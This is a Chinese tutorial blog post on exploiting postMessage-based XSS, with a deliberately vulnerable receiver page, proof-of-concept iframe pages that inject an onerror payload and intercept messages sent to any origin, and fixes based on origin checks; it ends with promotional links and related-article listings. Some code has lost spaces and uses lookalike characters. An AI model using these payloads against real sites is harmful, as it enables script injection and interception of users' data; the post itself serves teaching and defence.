postmessage xss利用

2024-05-27 17:12
文章标签 xss postmessage

本文主要是介绍postmessage xss利用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

看国外好多这种漏洞,刚好挖掘某SRC的时候也发现了类似的点,所以觉得还是有必要记录一下。

 

介绍

postMessage() 方法用于安全地实现跨源通信。 

参考1:Window postMessage() 方法 | 菜鸟教程

参考2:https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

1648176919_623d2f17c513235c2c5a6.png!small

[!note]

我感觉就是给数据发送到window中,就这么简单。

至于出现XSS,就是因为window对发送的数据处理不当造成的,

看理论可能比较抽象,建议直接看例子。

环境搭建

接收数据页面

挖SRC时,目标页面有类似的写法,主要是定位到EventListener

<!-- rec.html -->
<head><metacharset="UTF-8"></head><divid="receiveMessage">
Hello World!
</div><script>
window.onload = function() {
window.addEventListener('message', function(e) {  // 监听 message 事件
alert(e.origin);
document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;
});
}
</script>

发送数据页面

我们构造的发送数据的POC

<!-- poc.html -->
<title>Postmessage PoC</title>
<script>
functionpocFrame(win) {
letmsg = "hello d4m1ts";win.postMessage(msg, '*');
}
</script>
<iframesrc="http://127.0.0.1:9000/rec.html" οnlοad="pocFrame(this.contentWindow)"></iframe>

使用验证

先启动一个简单的web服务器,可以用python;

python3 -m http.server --bind 127.0.0.1 9000;

然后访问http://127.0.0.1:9000/poc.html

XSS利用

前面说了,出现XSS,是因为window对发送的数据处理不当造成的,咱们分析一下这里的接收数据页面

所以我们只需要改一下POC。

<!-- poc.html -->
<title>Postmessage PoC</title>
<script>
functionpocFrame(win) {
letmsg = "hello d4m1ts<img src=x οnerrοr=alert(1)>";win.postMessage(msg, '*');
}
</script>
<iframesrc="http://127.0.0.1:9000/rec.html" οnlοad="pocFrame(this.contentWindow)"></iframe>

然后访问

1648176951_623d2f37f2f6bc0f2a016.png!small

也就成功造成了XSS。

修复方案

验证来源,也就是验证origin。如下,只接受来自http://127.0.0.1:9001的message

<!-- rec.html -->
<head><metacharset="UTF-8"></head><divid="receiveMessage">
Hello World!
</div><script>
window.onload = function() {
window.addEventListener('message', function(e) {  // 监听 message 事件
alert(e.origin);
if(e.origin === "http://127.0.0.1:9001") {
document.getElementById('receiveMessage').innerHTML = "从"+ e.origin +"收到消息: " + e.data;
} else{
alert("hacker");
}
});
}
</script>

不成功的实例

某SRC,分析源码发现了addEventListener

1648176964_623d2f4423632994f9000.png!small

继续往下分析,验证了origin,所以除非origin中存在可控页面,如允许上传HTML,否则利用起来很难

假如我们可控origin,后面也会调用jquery中对象的text()方法,这个方法是自带有实体化编码的,所以就算绕过了也利用不了。

扩展

刚才我们的举例,其实是相当于伪造了发送端,然后目标为接收端,接收端对数据没有正确处理,从而导致了XSS漏洞。

那我们是否可以伪造接收端,然后截取到发送的数据呢?答案也是可以的。

以上面的发送端为例。

<!-- poc.html -->
<script>
letmsg = "hello d4m1ts<img src=x οnerrοr=alert(1)>";
window.parent.postMessage(msg, '*');
</script>

因为window.parent.postMessage(msg, '*');,第二个参数没有指定origin,所以我们可以构造POC如下:

<!-- poc2.html -->
<scripttype="text/javascript">
onmessage = function(e) {
alert(e.origin)
alert(e.data)
};
</script>
<iframesrc="http://127.0.0.1:9000/poc.html"></iframe>

1648176975_623d2f4f4d4cf95cb327f.png!small

也就成功接收到了数据。

修复建议:

postMessage()指定第二个参数为指定的origin,如:

<script>
letmsg = "hello d4m1ts<img src=x οnerrοr=alert(1)>";
window.parent.postMessage(msg, 'http://127.0.0.1:9001'); // 限制只能给 http://127.0.0.1:9001 发送数据
</script>

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

 大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~  

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

这篇关于postmessage xss利用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1008088

相关文章

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

Web安全之XSS跨站脚本攻击:如何预防及解决

1. 什么是XSS注入 XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,通过注入恶意代码(通常是JavaScript)到目标网站的网页中,以此在用户浏览网页时执行。攻击者可以通过XSS获取用户的敏感信息(如Cookie、会话令牌)或控制用户浏览器的行为,进而造成信息泄露、身份冒用等严重后果。 2. XSS攻击类型 2.1 存储型XSS 存储型XS

【前端安全】浅谈XSS攻击和防范

定义 XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 分类 大分类小分类原理非存储DOM型① 不需要经过服务器

XSS 漏洞检测与利用全解析:守护网络安全的关键洞察

在网络安全领域,跨站脚本攻击(XSS)是一种常见的安全漏洞。XSS 漏洞可以让攻击者在受害者的浏览器中执行恶意脚本,从而窃取用户的敏感信息、篡改页面内容或者进行其他恶意操作。本文将介绍 XSS 漏洞的检测和利用方法。 一、XSS 漏洞的概念和类型 (一)概念 跨站脚本攻击(XSS)是指攻击者在网页中注入恶意脚本,当用户访问该网页时,恶意脚本在用户的浏览器中执行,从而达到攻击的目的。 (

经验笔记:跨站脚本攻击(Cross-Site Scripting,简称XSS)

跨站脚本攻击(Cross-Site Scripting,简称XSS)经验笔记 跨站脚本攻击(XSS:Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者将恶意脚本注入到看起来来自可信网站的网页上。当其他用户浏览该页面时,嵌入的脚本就会被执行,从而可能对用户的数据安全构成威胁。XSS攻击通常发生在Web应用程序未能充分过滤用户提交的数据时,导致恶意脚本得以传递

XSS基础了解和解决方案

主要内容 什么是XSS?XSS的危害有哪些?常见的XSS漏洞如何防范XSS? 什么是XSS? 跨站脚本攻击(Cross Site Scripting),是一种 Web 应用程序的漏洞,当来自用户的不可信数据被应用程序在没有验证以及反射回浏览器而没有进行编码或转义的情况下进行了处理,导致浏览器引擎执行了代码。 XSS的危害有哪些? 盗取各类用户帐号,如机器登录帐号、用户

【网络安全】Self XSS + 文件上传CSRF

未经许可,不得转载。 文章目录 正文发现反射点实现XSS跨站请求伪造 (CSRF) 与文件上传结合POC 正文 在目标网站 target.com 的“联系我们”表单中,我注意到一个文件上传选项。 我最初输入了一个随机字符串,如 123xss,结果发现服务器没有对这个字符串进行足够的处理,比如转义或过滤,而是将其直接反射到网页中并展示给用户。 于是,我尝试注入XSS

uniapp 使用 webview 触发uni.postMessage

https://uniapp.dcloud.net.cn/component/web-view.html#uniappjsbridgeready-%E7%9A%84%E4%BD%BF%E7%94%A8  uni-app应用端web-view代码: <template><cl-page><!-- <view class="m-wrap"><cl-button @click="hand

【web安全】XSS篇

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【web安全】XSS篇 简介原理危害 分类反射性XSS存储型XSSDOM XSS(特殊的反射XSS) 测试工具手工 防护绕过前端限制绕过大小写绕过双写绕过编码注释干扰后台绕过标签语法替换提交方式更改垃圾数据溢出结合其他漏洞绕过HTTPonly绕过针对HTML实体化绕过上传非图片导